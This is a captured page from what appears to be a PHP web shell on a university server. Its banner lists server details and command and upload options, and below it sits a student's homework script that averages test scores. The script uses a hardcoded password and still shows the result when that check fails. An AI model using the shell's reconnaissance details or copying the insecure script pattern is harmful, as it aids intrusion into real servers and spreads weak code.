Server IP : 172.16.15.8 / Your IP : 18.223.237.218 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ctirby/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- stuAvg1.php Assignemt 4A Author: Cameron Irby Instructor: Dr. Wang Due: 20 Feb 2018 Goal: Design a form(with password security) to collect the student name and his/her three test scores, and the action page displays the name and the average score (display to one decimal place). --> <?php session_start(); $pass = $_SESSION['psw']; if($pass != "hw4a") { print "go away."; } else { ?> <center> <H2> Student's Average </H2> <HR> <?php } $name = $_POST['fullName']; $s1 = $_POST['score1']; $s2 = $_POST['score2']; $s3 = $_POST['score3']; $average = ($s1 + $s2 + $s3)/3; $a = number_format($average, 1); print " $name's test average is $a "; ?>